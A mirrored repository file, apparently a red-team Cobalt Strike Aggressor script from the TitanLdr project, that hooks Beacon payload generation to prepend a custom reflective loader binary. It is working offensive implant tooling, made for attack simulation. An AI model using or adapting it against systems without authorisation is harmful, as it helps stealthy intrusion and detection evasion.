mirror of
https://github.com/benheise/TitanLdr
synced 2026-06-06 15:14:33 +00:00
25 lines
404 B
Plaintext
25 lines
404 B
Plaintext
##
|
|
## Reflective Loader
|
|
##
|
|
## GuidePoint Security LLC
|
|
##
|
|
## Threat and Attack Simulation
|
|
##
|
|
|
|
##
|
|
## Inserts titan into Beacon
|
|
##
|
|
set BEACON_RDLL_GENERATE {
|
|
|
|
$hnd = openf( script_resource( "Titan.". $3 .".bin" ) );
|
|
$ldr = readb( $hnd, -1 );
|
|
closef( $hnd );
|
|
|
|
if ( strlen( $ldr ) == 0 ) {
|
|
warn( 'titan has not been compiled, using standard cobalt loader.' );
|
|
return $null;
|
|
};
|
|
|
|
return $ldr . $2;
|
|
};
|